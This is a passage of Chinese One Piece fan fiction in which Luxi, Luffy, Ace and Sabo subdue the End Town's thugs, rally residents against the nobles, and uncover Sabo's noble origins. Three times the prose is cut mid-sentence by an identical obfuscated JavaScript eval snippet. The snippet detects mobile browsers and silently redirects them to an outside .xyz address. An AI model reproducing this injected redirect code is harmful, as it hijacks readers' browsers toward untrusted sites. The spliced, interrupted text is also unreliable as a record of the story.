达旦不想再忍了。她选择直接召唤自己的小弟们。 达旦：“听好了小子们，从今天开始，我们要学会自力更生！要自己动手！自己捕猎！站在那几个小鬼头上！而不是让那几个小鬼站在我们头上！” 寂静，绝对的寂静。 达旦：“……说话！” “老大这个就……” “科尔伯山多么危险老大你也知道啊……” “为什么啊老大——明明可以让那群小鬼帮我们捕食物不是吗……” 达旦感觉自己身体的温度简直随着正落山的太阳一同降下。是吗……原来不知不觉，自己的部下的意志已经被对方用食物侵蚀了啊。 算了……她泪奔，怎么过不是过，那就凑合着过吧。 但是她依旧会永远永远地阴暗诅咒卡普，都是他把这群小孩带来的！ * 我们根本没有注意到山贼窝暗搓搓发生的情况，反正只是一瞬间的响动。何况达旦虽是山贼头头，有凶狠之处，兼之时不时对我们吼叫怒骂，但本质人还不错，要说的话，也可以用嘴硬心软形容。 如果她真的看我们不爽，完全可以用武力把我们打服。你知道的吧，大人的体格和小孩的体格终究是有差距的——如果不是抱着杀死对方的想法打架，那便会更加明显。何况能当上山贼老大的人怎么可能会是一无是处的废物呢。我们其实都是在彼此的容忍度之内蹦跶，我还蛮喜欢她给予我们的这份自由度，总之我们确实玩得开心。 而且我们还有更重要的事情要去处理呢。 没错，就是征服端镇！ 借由萨博和艾斯的信息，我们已经有了明确的第一个下手目标，是时常盘踞在城门口的罗兹一伙。这群人严格说来并不算一伙，只是垃圾站的人换到东西出去的时候，他们会恶意阻拦，逼迫对方将东西交出来，因此，垃圾站的一些人虽是带着值钱的东西进去，但空手而归的情况并不少见。 艾斯和萨博以前也干过这事，不过他们更倾向于单打独斗，也不屑与这群大人合伙。 萨博：“所以，只有我们四个人是吗？” 我点点头：“对。虽然我想过要不将兰迪他们一同叫过去，但是人太多，现场的情况便愈发轻松控制。打斗的动静过于激烈，说不定还会将镇里的守卫吸引过来，到时候增加进城的难度就不好了。” “我们四个人，正好每个人都有战力。而且体格小，如果吸引了太多动静也方便逃跑躲藏。最重要的是，不会有人认为我们与不确定物终点站的其他人是一伙的。” 我目前组织的这个团体是一个相当稚嫩的、弱小的团体，甚至因为目标太过离谱，就算被人听到，也只会被当做白日做梦的妄言，成为别人酒后不重要的一条谈资吧。但即便如此，我依旧不想被发现，正是因为弱小，才更容易招惹来诸多麻烦。 打倒罗兹一伙也并非是为了宣传我的团体，而是着重在我、路飞、艾斯、萨博四个人身上。我们要宣传的是我们的强大，即便只是四个小孩，也不能随意被他人小瞧。当我们自身的名号打出去了之后，自然会有想要跟我们合伙的人找上门来，那时慢慢告知我们的目标才是最好的。 至于提供给兰迪他们食物一事，我暂且将重心从中转移了。我意识到，愈快的占领端镇，将那变成我们的地盘，我们才能拥有最多的资源。 要进去端镇不是什么难事，向守卫证明你带的东西是值得交换的便可以。不过，考虑到艾斯和萨博在这附近的臭名昭著，他们还是做了一些伪装混进去。 不然极有可能刚一进城，便被来寻仇的人盯上。或者更糟一点的，被守卫拦住不给进。 我倒是没做任何伪装。毕竟一个看起来就很轻易打败的小孩，才方便吸引别人下手吧。甚至不用等到我换完东西准备离去，刚进去就有人盯上我了。 直接从我手里抢走东西自己拿去换才能收益最大化。 我开始转换路线。 越是人烟稀少，不引起注意的小路才是我真正要行走的。 加快步伐，逐渐转至奔跑。能听到跟踪之人的脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044775|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步声，一个两个三个，真是来了不少人呢。对我一个小孩也如此重视，看来端镇这群地痞流氓的生活平日里也不是很好过，想来彼此间平时也少不了争斗，等会倒是更方便我们四人下手。 不过也有可能是我带的野猪个头太大，不管是身上的肉还是皮毛亦或獠牙，都能拿去卖不少钱。 “呼……” 我缓缓吐出一口气，跑到这里也差不多了。 已经有人拿着棍棒走上前，“小鬼，现在乖乖把这头野猪叫出来，还能让你安全回去。” 我仰头，露出笑脸回答他，“这也不是我一个人能决定的呢？给了你，其他的叔叔们要怎么办？我看他们也很想要。” 男人脸上露出不耐之色：“那就不是你要管的事，把东西放着走掉就行。” 我摇摇头：“不行，妈妈告诉我做人要公平公正，所以我不可以给你一个人。” “妈、妈……噗哈哈哈哈哈，果然是毛都没长齐的小鬼，还想着听妈妈的话。” 笑我的并不止他一个，他的大笑声仿佛是一个开关，带动了周围其他人放声嘲笑。我在原地安静地看着他们嘲笑我。 并未持续多久。 “哎呦——谁，谁打我？！” 若打架不是为了纯粹的发泄愤怒，或是心内的其它情绪。那打架便是一件需要技巧的事。因为你不能杀死对方，你需要的不是一具尸体，而是一个会因战败恐惧你、臣服你、宣传你的人。 在这个层面上，速战速决是最需要的手段。 若打架时间太长，便会让对方产生势均力敌之感。或许只要再努力，运气再好一点，武器优良一点，今天吃的饭多一点，睡的更香一点，便能成功打败敌人。 但速战速决还有一点要注意的情况，便是要让对方意识到是你打败他的。 你要在他的身体——肌肤、皮肉，不管什么地方，亦或是灵魂深处，你要让他铭刻住你的强大，要把那份恐惧扎根于对方的心灵，要让他在你离去之时，在下次看见你之时，想得不是我得找人联合起来把你打败报仇—— 而是，害怕到不敢与你作对。 因此，疼痛是最好的老师。疼痛是武器落在身上最直观的反应。 我说过了吧，我先前很喜欢艾斯的水管武器。不仅携带方便，而其身坚硬，揍人最有效率。 在端镇混的地痞流氓，除去最强大的那些，其它的也不过是无法饱食的底层人罢了，身体虚弱，体力有限。 腿骨、手骨、脚踝、脊背，要袭击的不是皮肉，而是骨头之间的相连处。 打折腿、打折手、打断脊背。一击制敌，丧失行动能力，难以反抗，只能不受控的匍匐在地，感受着体内绵延不绝、好似绵绵春雨那般袭来的疼痛。 我需要的不是他们的生命，而是这份永不断绝的疼痛带来的恐惧心。 我掀开盖住野猪身体的那块布，从旁边拿起我的武器。路飞、艾斯、萨博三人早已经开启了混战，我该加入了。 我说过，做人要公平公正，因此每一个我都会狠狠打过去，不管他是否先前被路飞他们打过。反正，最终不致死便行。 13.章十三 结果当然是我们的大获全胜。 一来看上去这群混混是先手，可实际上路飞他们早已经暗处伏击，就等着我停下来让他们给出致命一击。二来这群人身上并未携带什么杀伤力强大的可怖武器，自身实力亦绝非强者，被水管往骨头这么狠狠一敲，“咣”的声音，骨折是难免的。 别指责我们下手如此狠心，若我们先不将他们打至毫无还手能力，处于这种状态的便是我们。这里可不是会对小孩手下留情的地方。 把这群人通通打趴下后，我们便开始拿取他们身上的财物。当然，也会留一点下来的，我既然不需要他们死，自然也不会在这方面赶尽杀绝。 我笑眯眯地将他们的财物装进袋子里，提在手中，站在人堆的前面，略微低头扫视了他们一圈，浅笑说道：“我叫路希，蒙奇·D·路希，记住我的名字。” 记住我的名字，记住我的存在，记住这份疼痛，记得这份恐惧。今天、明天、以后、未来，这个名字会再次出现在你们耳中。 既然我报出了自己的名字，路飞和艾斯萨博他们自然也不会保持安静。 路飞学我一样，站在人堆前喊道：“我叫路飞！蒙奇·D·路飞！” 而艾斯和萨博甚至不用多做言语。 萨博笑道：“我们两个你们也知道吧，我是萨博，这是艾斯，之前都没有好好认识过。” 很难说今天算不算好好认识，不过倒是切实地打过交道。 “该走啦。”我招呼道，“要小心哦，说不定哪天我们就会再来。” 我们走得痛痛快快，而端镇——名声恶劣的小鬼则从两个增加到了四个。 下手总是最狠的三个，路希、萨博、艾斯。和一个不带武器，但身体会奇怪拉伸或者莫名像气球一样鼓起来的路飞。 那个叫路飞的小子是四个人中最好打败的一个，但即便如此也不能盯着他一个人下手，因为这四个人总是一起行动，同时出现又同时消失。你以为你打到了路飞就是赢？错误的，下一秒便会有水管不知从哪里袭过来。 好消息：端镇的医用绷带大受欢迎，绝赞销售中。 坏消息：受害者人数持续增加中。 从最开始盘踞在城门口的罗兹一伙，到总是聚集在酒馆里的那群混混团体，再到端镇各个小巷里散落着的地痞流氓。基本上，除了剩下的普通市民，可以说镇子上能招惹过的团体都被招惹过了。 有时候昨天刚挨打过，今天又来了。 问不是昨天抢过了怎么又来，被无情答道哦忘记了，没记得脸不好意思，反正她们总是会来的，多适应一下也是件好事。 都不知道这种事有什么好适应的，这群人居然还能说得如此理所当然。 倒也不是没有想过联合起来打败他们四个，好好给对方一个教训。可团体之间本来彼此便有嫌隙，虽说有共同的敌人。可或许是人数多了更容易造成混乱，时常打着打着便会成为大混战，报仇的目标也并非他们四个人，转而变成了所有不是伙伴的人，甚至就算伙伴也会因为情况混乱挨上一招。 而这种情况往往会招来士兵，大家一下子四散而逃，乱作一团，别说复仇了，不被抓住是最好的。 偶尔也会商量好，决定无论发生什么都不互相出手，本来以为这种情况会赢的绝对是自己这边，结果对面那个叫路希的女孩相当果断地把拥有的财宝直接扔到人群中。值钱的东西散落一地，原本说好的同盟当即反水，忙着抢财物去了，哪来的心思打人。 最后又是对方的胜利。 这种情况断断续续也持续了好几月，天气已然入冬，早已经有心理意志脆弱的人支撑不住——谁能受得了三天两头被打啊，伤还没好又续上了新伤，冬天又是寒冷的季节。 撑不住，这真不行。 而奇妙地，对明显有投降之意的这些地痞流氓，对方居然真的不再动手，甚至把对方收编成了自己的手下。 这下好了，原本要对付的只有四个人，现在敌人却随着时间的流逝不断增长中。 端镇便这样逐渐分成了两派，一派以四个人中的那个叫路希的女孩为主，另一派则是端镇的原住民们——那些地痞流氓。 “听好了，今天绝对要打败这群人。我们从这里埋伏好……然后在那里……” 不认输的人聚集在一起窃窃私语着，制定着计划。 “老大老大，他们据说会从那个地方埋伏我们……” 然而却早已有告密者潜伏其中。 端镇混乱太久，时不时更是会有犯了错的普通百姓从高镇那边被赶出来。因为不小心挡了贵族的路、因为修剪的花园不好看、因为餐点的烹制不好吃，只是随意一个小失误，或者是贵族心情不好的发泄，原本拥有正常生活的人便被判定为垃圾，瞬间滚落垃圾堆。 不公平吗？无可奈何之事，似乎除了接受这种命运，便再无其它可能性。但是—— 也有另一种窃窃私语。 “听说了吗？加入这个团体就有机会可以回去？” “贵族们的食物是我们烹制的，衣服是我们裁剪的，房子是我们清扫的。他们的所有一切都由我们造就，为什么被赶出去的是我们？只是因为一个出生在床上一个出生在草堆吗？” “为什么？！我们不是一同生长在同一片土地的人吗？” 无法想通的事实，近在眼前的答案，只差最后的劝诱，即可打开那道反叛的大门。 “你们有想过吗？不觉得很奇怪吗？明明是我们自己动手获取的食物，却要把最好最多的交给贵族。明明是我们一天到晚在努力工作，可赚到能花费的却只有那么一点点。明明贵族们只是躺着什么都不干，却拥有最好的一切。” “为什么？我们明明生活得如此努力，用尽了全力活下去，却会因为一点小事不合贵族心意被处罚或者赶出去？” “今天流落到端镇，明天又是哪里？我们分明所掌控自己的身体，却连居住之所都无法长久。” “我们要面包——！我们要自由——！我们要吃肉——！我们要喝酒——！” 最重要的是点燃那颗反抗之心。 今日，她依旧行走在跟随自己而行的人群中间，不厌其烦地诉说着话语，试图点燃火焰。 * “我不得不承认……这家伙鼓动人心还蛮有一套的。” 萨博坐在酒馆角落，和自己另外两个同伴小声感叹着。 不愧是他们这四人组织里唯二的文化人啊，还有一个是他自己。他们这个团体未来真是太有希望了，他都感觉能看到自己率着一众反抗军站到自家贵族母父前对方惊讶愤怒的模样。 光是想一想就爽呢。 艾斯没回他的话，只是在思考。“每天饭后读十分钟的书真的有这个作用吗？” 他承认路希说的话挺好听的，有时他自己都情不自禁地跃跃欲试，觉得那个人的目标一定可以顺利成功。但这群人是不是也太容易就被感染了啊？心志如此不坚定，感觉到时候一被卫兵的武器威胁，就慌里慌张地跑路了。然后只剩下他们四个人。 萨博：“……” 这是个很难回答的问题，但是—— 萨博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048400|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道：“至少对一看书就睡过去的你和路飞是不起作用的。” 艾斯结束思考：“……喂，谁让那上面的写的东西我根本看不懂。” 路飞紧接着抱怨：“是啊！连图画都没有！” 萨博：“……”萨博灵机一动，“不如直接让路希教你们看书好了！” 艾斯眼神陡然凌厉起来，“你是不是想让我们打起来好看乐子？！” 他在某些方面还是很有自知之明的。 萨博笑着耸了耸肩。 * 我结束了今日的演讲，跑到在角落待着的路飞三个人前，语气还带着未熄灭下来的兴奋，问道：“怎么样？我又花了点功夫专门研究了一下讲话内容，有没有比之前更具感染力？” 萨博拿起果汁——感谢路希的梦想和他们三个共同的努力，现在他们在酒馆里拥有果汁自由了。他说道：“照这种情况下去，感觉过不了多久就能彻底征服端镇了啊。” 艾斯斜睨了一眼，“切，说得好听而已，真打起来这群人说不定就跑光了。不，说不定在那之前就有人退缩不敢来了吧。” 我沉思道：“我也有考虑过这种情况，情绪的上头终究只是暂时的，何况端镇生活的居民和外面垃圾站相比，这里的人并不算真的走投无路。在这里一时喊喊口号又不费力气，真正组织起来进攻高镇还是困难的呢。装备和武器都是稀缺资源啊。” 艾斯：“用水管凑合着用吧。” 我：“也确实算好用的武器。不过士兵们如果有枪就很麻烦了呢。端镇门口的守卫好像就带着枪？” 萨博难得没说什么，他还是贵族的时候没怎么关注这些，他整天待在家里满足母父的期待学习呢。 我陷入思索中，虽然目前的计划很顺利，但可能正是因为太顺利了，反而觉得缺少真实感。一帆风顺在海上航行时是不错的预兆，可放在这种要颠覆一个国家的事情上，颇有些虚幻了。 我感叹道：“不管怎么说……确实有被我们鼓动的，但更多的感觉依旧是表面的诚服。大人们的世界就是太狡猾了啊，一定都认为我们是在玩小孩子过家家游戏。” 萨博安慰道：“其实现在这样也很不错了，至少我们每天都有稳定的金钱，也不用担心食物之类的问题。” 路飞也在苦着一张脸试图和我一起思考。 路飞：“但是不听路希话的人，最后帮不到我们的吧。” 萨博：“……” 他其实依旧觉得这个野心对处于这个年龄的他们而言，有些超标了。倒不是说有不好之处，从贵族家庭出来的他，深知那些人的虚伪。可或许也正因如此……就算真的侥幸把那群贵族赶下来，但胜利之后呢，他们还会心甘情愿听路希的话行动吗？这之后又要建立怎么样的社会秩序？ 萨博先前从来不考虑这些，但此刻有些事情，不可避免地出现在他的脑海里。 或许他也真的被他们同伴的这个目标蛊惑了吧。 我坐下来，托腮看着不远处的那伙人，大家都在放松地喝酒闲聊，一派平和。但是，这仅仅是因为没有触及到他们最根本的利益，只要听话，就能享受和先前差不多甚至于更好的生活，谁会不愿意呢？ 可是，若要他们到时候跟着我一起攻打哥亚王国，那便意味着放弃现在的生活，面对未知的枪火，生死不定的人生——无论怎么想，还是继续把敌意对准我们四个小孩胜率更大吧。 “说起来，你们知道海贼港湾的蓝宝石海贼团吗？” 我想起之前兰迪找到我，告知于我的信息，扭头对艾斯他们问道。 14.章十四 从不确定终点站一直往北走，是哥亚王国。但若换个方向，则是海贼港湾。顾名思义，是海贼们聚集的地方。 我不清楚香克斯有无在这里停泊过，毕竟他当初是在风车村那边与我和路飞相遇的。 海贼港湾目前盘踞着的一伙海贼是蓝宝石海贼团，据不一定保真的传言说，船长布鲁杰姆曾驶出了东海，进入过伟大航路。 至于是否真的去过伟大航路，我们就不清楚了，毕竟原本也只是小道消息。而且，通常来讲，伟大航路是有很多机遇与财宝的地方吧，如果能混得很好，为什么要从那里回来呢？ 对方有可能是混不下去灰头土脸被迫回来的，考虑到这一点，更加没有人赶去探清真相了。要知道，蓝宝石海贼团是我们这里最强大的海贼团，船长也是最可怕的存在。 据说他有个部下，打败了对方还会把战败者的头皮剥下来呢。 兰迪对我说，他们的人注意到有贵族模样的人，在与蓝宝石海贼团联络。整个端镇的混混们大部分都是我的人，带来的好处这就体现出来了。 譬如有什么不寻常的情况，我能第一时间得到。情报这种东西可是相当重要的存在。 目前我们可以得知，贵族们是最最看不起端镇内的地痞流氓和不确定物终点站的流浪者们的人，更别提海贼了。既然如此，为什么有贵族会去找布鲁杰姆？ 布鲁杰姆的财宝大多也都是靠端镇的混混们帮他得到的，在我之前，这里的很多人听命于他。也可以说，继那些零零散散的小团体后，蓝宝石海贼团是我最大的敌人。 目前还没有臣服于我的，基本可以断定都是布鲁杰姆的手下。他还没主动来找我麻烦，才真让我觉得有些不可思议。 可能觉得一群小孩成不了什么气候吧，以及我没动到他真正的利益。我知道的，我的手下中，当墙头草两边吃的也有。对于这一点，我虽然无奈，可一时也想不到很好的办法解决。 归根结底，我自身的实力还不够强。 但是，即便我和布鲁杰姆处于敌对的位置，对于高镇里生活的贵族而言，我们又是同一边的。这种情况下，里面的人找他是为了什么？ 我把这件事摊开来与萨博他们一说，其实我算是知道答案，但我不能直接说出来。 艾斯先皱起眉来，“贵族的人？” 路飞：“那是些什么人啊？” 我：“就是会把我们的肉光明正大抢过去，我们还不能有怨言，甚至要感谢他们的存在。” 路飞：“……！” 路飞义愤填膺：“太可恶了！” 怎么可以这样抢别人的肉，不能饶恕。 萨博沉默着，不知在思索些什么。我看着他，继续说道：“我实在想不明白贵族和海贼之间有什么联系，不管怎么想，这两者都扯不上一起吧。” 萨博转移了话题，笑着说道，“今天也不早了，我吃得差不多了，要先回去吗？反正在这里继续讨论也讨论不出什么。” 艾斯困惑地看了萨博一眼。“你怎么了？” 萨博：“唔？我很好啊，只是提起贵族有些反感而已，你们也知道的吧，那群人根本不会把我们这些存在当人看，一定是在密谋什么不好的事。” 他依旧不准备把自己过去是贵族的事说出来。 我点头：“嗯，我赞同萨博的话。不过蓝宝石海贼团也算我们的强敌，我多少都要把这件事情搞清楚。” 路飞看着我们，“那要回去吗？” 我笑着回他，“那回去吧，确实快入夜了。” 如果萨博不愿意说出来，那我不会在路飞和艾斯面前勉强他。要知道，我们现在是共同进退的伙伴。但是，不代表我不会单独和他谈谈。 太阳将要落山，近几日下了几场雪，还未融化，科尔伯山尚能平稳行走。只是猎物变少。山里的野兽们不是陷入了冬眠，便是躲了起来，鱼类之类的则被封在冰层之下。与夏天那段时光相比，打猎所得的收入少了许多。好在我们已经在端镇有了不小的势力。 虽不能每天提供肉，但至少能有面包给垃圾站的人吃。 而不确定物终点站已被积雪覆盖，那里的流浪者们整日被冻得瑟瑟发抖，我目前没有能力为他们提供保暖的衣物。 有几个年老的流浪者们撑不住去世了。那里的人们平静地将他们火化。兰迪说，这是常有的事，接受就好。至少他们现在有一个新的希望。 我知道，他们指的是我说的目标。 我离开那团燃烧着尸骨的火焰，踏在白茫茫的雪地上向前行走。细雪落在我的肩头，分明小到连形状也难以看清，此时却倏然有了重量。 我想带给他们的究竟是何物何事？那团模模糊糊的世界之王符号，如若一直是这种模糊的影子，我或许会在高镇前便落败吧。 那必须是一种更清晰的，更具有计划性的，不同于现在世界所遵守规则的—— 我所选择的道路。 寒冬即将结束，最冷的时候过去了，又快入春。不知不觉，我和路飞在达旦之家竟也待了半年之久。从夏天的蝉鸣到秋日的落叶，在到冬日的落雪，也算是见识到了山里不同的风景。 夏季末时，玛琪诺和村长曾来找过我们一趟，是与爷爷一起来的。她们来的时候，我们还在端镇为所欲为肆意妄为呢。 我的心里也不像现在这样装着许多事。 等傍晚快到达旦之家，一听没有往常的热闹，我们几个都谨慎了起来，彼此眼神交流一番，拿起武器小心翼翼地靠近。 但是又有肉的香味飘过来。 这情况实在有异，我们几个冲进屋里一看，发现这群山贼们一个比一个乖巧地坐在地上，而玛琪诺正在桌子上摆着食物。 我与路飞同时惊喜喊道：“玛琪诺——！” 我们两个同时冲上去抱住她。 我撒娇道：“玛琪诺——我们好想你啊。” 作为回应，她温柔地摸了摸我们的头，“欢迎回来，我为你们准备好食物了哦。” 这和经常会与我们吵架并且从来不会温柔摸我们头的达旦对比太明显了。我几乎感动得都要哭了，强烈恳求道：“玛琪诺，你搬过来和我们一起住吧！” 我一定会照顾好她的！ 路飞也和我一起求道：“是啊是啊，这里的山贼都不会做好吃的肉。” 达旦喊道：“小鬼你胡说什么呢？！” 不过这个提议被我们无视一个人站在一旁的的村长拒绝了，他拍打了下我们的脑袋，假装训斥道：“别胡闹，玛琪诺还有酒馆要照顾呢。” 我撇撇嘴，然后为艾斯和萨博介绍了玛琪诺。 玛琪诺，风车村酒馆的老板，我和路飞在来到达旦之家以前的养母，我最最喜欢的妈妈。第二个应当是达旦，不过抛去我那个大概已经死掉的亲生母亲，这个妈妈榜也只有两个人。 萨博很有礼貌地打了声招呼，而艾斯则有些僵硬。我怀疑他之前根本没有被玛琪诺这样性格温柔的人对待过。 我本来也可以稍微温柔一点对他的，可谁让他在我们第一次见面的时候就吐口水，而我又是个相当记仇的人。 我很是郑重地为玛琪诺介绍起艾斯和萨博。 “这个有雀斑的男孩是艾斯，虽然看起来很可爱，但性格很糟糕的！玛琪诺你不要被他的外表欺骗哦。” 艾斯：“……谁长得可爱啊！” 她绝对是知道自己不喜欢这种说法，故意这么说的。 我不理会艾斯，继续介绍萨博：“这家伙是萨博，从不知道哪里的家离家出走的，算是除了我之外第二聪明的人吧。” 萨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052314|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 博：“……能得到这种夸赞我还是蛮开心的呢。” 我接着说道：“然后呢然后呢，他们和路飞一样，还是我重要的伙伴，是我梦想路上不可或缺的帮手。” 玛琪诺笑着问道：“那艾斯和萨博的梦想也是当世界之王吗？” 艾斯&萨博：“……不是！” 我：“他们的梦想不是世界之王，但和路飞差不多啦，是出海当海贼。” 然后，我、路飞、艾斯的头上响起来了咣咣咣三声响，伴随着头顶忽如其来的疼痛，我听到了爷爷的呐喊声：“是谁还在说要当世界之王和海贼啊！你们都给我去当海军！” 这老头什么时候来的啊！早知他在我就不说了！ 唯一没有受到拳头的萨博冷汗直流：“……”这情况，就是路希她们之前说过的当海军的爷爷吧，看来他还是保持沉默的好。 我看了正暗自庆幸的萨博一眼。 我一拉爷爷的衣袖，指向萨博：“你少揍了一个人，这家伙也是要和路飞艾斯一起出海当海贼的。” 怎么可以只有萨博不挨打！他必须得挨打。显然路飞和艾斯也是这么认为的。 路飞：“是啊，萨博以后也会成为很厉害的海贼！” 艾斯：“萨博可是很凶恶的。” 萨博：“……？！” 他选择直接躲到玛琪诺身后去。 总之那天就是这样吵闹的一天，白天的阳光很好，晚上的夜风凉爽，桌子上的食物好吃，大家脸上都洋溢着幸福的笑容。 爷爷第二天就走了，他从来不会在这里久留。海军就是这样一种繁忙的职业。不过他走之前，我还是去问了一下他，“爷爷，为什么你一定要我们当海军呀？” 我知道的，海军是守护人们的存在。只要是世界政府的加盟国，都可以受到海军的保护。哥亚王国也是其中的一个加盟国。 海军会给这些国家带来和平，带来幸福，带来安宁。 可是，海军要守护的人，究竟都是谁呢？如果哥亚王国的贵族和垃圾站的平民们同时面对海贼，海军会优先保护谁呢？ 哥亚王国之内阶级分明。贵族们高高在上，失去价值的平民匍匐在地。 爷爷只一心说着让我们当海军，让我们当正义的人，可从来没有说过除这些外更具体的事。但我却在端镇外看见了。 端镇的城墙挡住了不确定物终点站的流浪者们，高镇的城墙挡住了端镇的普通平民们。往北更北的地方，是一尘不染的，干净无瑕的贵族们的居所。 是从早努力到晚，却只能赚取一点金钱的平民们，梦想之地。 同一片土地上的人，生活却有如此大的差距，还要被高耸的城墙隔开，好像碰到就会沾染到不干净的东西似的。 ——最美丽的国家。 爷爷没有回答我，只是重重拍了拍我的肩膀，说道：“别想着你那个世界之王的梦想了。” 我站在原地看他走下山坡，对他的背影竖了个中指。 爷爷在那之后就没有来过，但玛琪诺还是时常会和村长一起过来，我觉得科尔伯山还是蛮危险的，有点担忧她的安全。不过她一点都不怕。 因为想见到你们，所以内心充满了喜悦的勇气，玛琪诺是这样说的。 所以我会很努力地去实现自己目标，然后在到达目的地的时候，就可以自豪地站在玛琪诺面前，说，看，我做到了哦。 我那么想尽快实现自己的目标，或许另一点便是因为，我想成为可以让玛琪诺感到骄傲的孩子。 所以遇见不得不处理的问题，即便最后可能影响我和萨博之间的关系，我也必须要他给我一个回答。 兰迪告诉我的消息，关于贵族找蓝宝石海贼团的原因，是因为高镇里的人收到了一条消息。 关于萨博的消息。 15.章十五 那是一张寻人启事，有些泛黄，有些发旧，上面印着的是萨博的样子。 高镇有贵族在找他走失的孩子，那个孩子放弃了贵族的生活，跑出端镇，跑到不确定物终点站，选择和流浪者们一同生活。 现在他正和他的小团体在暗地里抢夺布鲁杰姆的势力。 一群小孩而已，凶恶的海贼船长并不是很在意，只需要几招就能将他们击败在地，小孩卖给人贩子也能赚到一点钱。 让她们玩几天也无妨。 结果事态越演越烈，本想直接出手给个教训，却发现其中的一个小鬼是贵族那里偷跑出来的孩子。 布鲁杰姆是想进高镇生活的。 海贼的世界太危险，太残酷。威胁不止来自海军和其它海贼，还有大海变幻莫测的天气与洋流。但是人要吃饭，要生存，想过上更好的生活。这种事没点运气和机遇可不行。 就这样碰上了。 把这个叫做萨博的孩子信息传递给贵族，恐怕能得到一笔奖赏，但他想要的不止这些，他想要的是一种长期合作，那种合作能让他摆脱现在的生活，丢掉现在的阶级，一跃而上成为贵族的合作。 他还在等最好的时机。 在此之前，可以暂且容忍这群小孩的过家家游戏。 * 艾斯和路飞准备去洗澡，我拉住了萨博，示意他跟我出来。 有些事必须单独跟他聊，艾斯会注意到这一点，但他不会主动追问。他总是一副对许多事情不关心的样子，像是要凭一己之力排挤整个世界。这种情况在我们还未是朋友的时候更严重些，虽说现在熟了起来，但我有时依旧觉得跟他之间隔着一层薄膜。他分明看着很多事情，却一言不发。 而路飞，他是从来不会做偷听这些事的。 萨博有些抗拒，我想他也明白，我之后要跟他交流的事情与高镇有关。 我几乎是命令的语气。“萨博，不准跑。” 他认命般地跟在我身后，支吾着开口，“呃……我是说、什么事……我还要洗澡呢。” 我们走了有段距离才停下来，不远处尚能看到达旦之家的暖黄色的灯光，天气些许寒冷，冷风直往我们衣服里钻。 我在昏沉的夜色下，对他说道：“蓝宝石海贼团那里，有一张寻人启事，上面的人是你。” 萨博滴落了几滴冷汗。“是吗……那可能是我的爸妈弄的吧。不过我已经决定离家当海贼，不管怎样都不会回去的。” “我先前就在想，为什么蓝宝石海贼团的人一直没对我们出手。我甚至有些庆幸，因为他们是真正出过海，当过海贼的人，如果真打起来，我们不一定能赢。” “我一直以为或许是对方懒得对小孩子下手，认为我们不成气候。但我现在知道另一个原因了，因为你在我们这里。他们极有可能在等一个合适的机会抓你回去。” “你是贵族的孩子——不要在我面前继续否认这一点了，萨博。我不是路飞和艾斯，这件事情第一次见面我就看出来了，你分明也清楚。我不会对朋友说谎，你接下去也不要对我说谎。” 萨博：“……”一股无形的压力罩住了他，他咬了下嘴唇，说道，“我不会回去的。” 我看着萨博，“我没有让你回去。你在不确定物终点站待了五年多，我看到了你的选择。但是我们必须要解决这个问题。” 萨博：“你想怎么做？照你先前说的，我们还打不过那些海贼吧，镇上的那些混混们也不一定会跟我们一起行动。” 他犹豫道：“要不我们还是放弃吧，端镇的那些人也好垃圾站的那些人也好，你不一定现在就要征服吧。我们跟以前那样行动，打劫路过的蠢货们，等再变强一点继续不好吗？” “你是让我放弃现在所有的一切吗？” 说实话，他这些话真有点伤到我了。 “我没有——但是那群海贼确实已经盯上我们了吧。再这样照着你的行动下去，不仅我要被抓回去，甚至你们可能也有生命危险啊。先撤退一段时间吧。” “我不要。” “你也是蠢货吗？！” “你等下就去跟路飞和艾斯说清你的身份，说你是高镇出来的贵族的孩子。” “……开什么玩笑？我为什么要这么做！” “你必须要这么做，如果你不去说清真相，我就代替你对他们说。” “你——” 我一把抓住萨博，不顾他愤怒的眼神。“听好了萨博，我们必须要解决这一切，不管是蓝宝石海贼团还是你的母父，他们现在已经发现了你的存在，无论是放弃还是逃跑——除非你离开这座岛，否则在科尔伯山，他们总会抓住你的。” “他们显然不是最近才发现你的，因为我们侵占了他们的利益有段时间了，但最近高镇才有贵族——可能是你的父亲跟他们联系，也就是说离他们动手的日子不远了。我们的时间有限，必须马上想好对策。” 萨博有些无力地放弃了挣扎。 “为什么……非说不可吗？这种事情，我是贵族的事情……” “我认为坦诚更有利于接下去的计划。” 而且说实话，我完全不能理解他抗拒的点在哪里，事实上从第一次见面我就不明白为什么萨博不愿意承认自己的贵族身份，只是个贵族名号而已啊，到底有什么不好承认的？因此我相当困惑地问道，“你到底在害怕什么呢？” 萨博：“……” 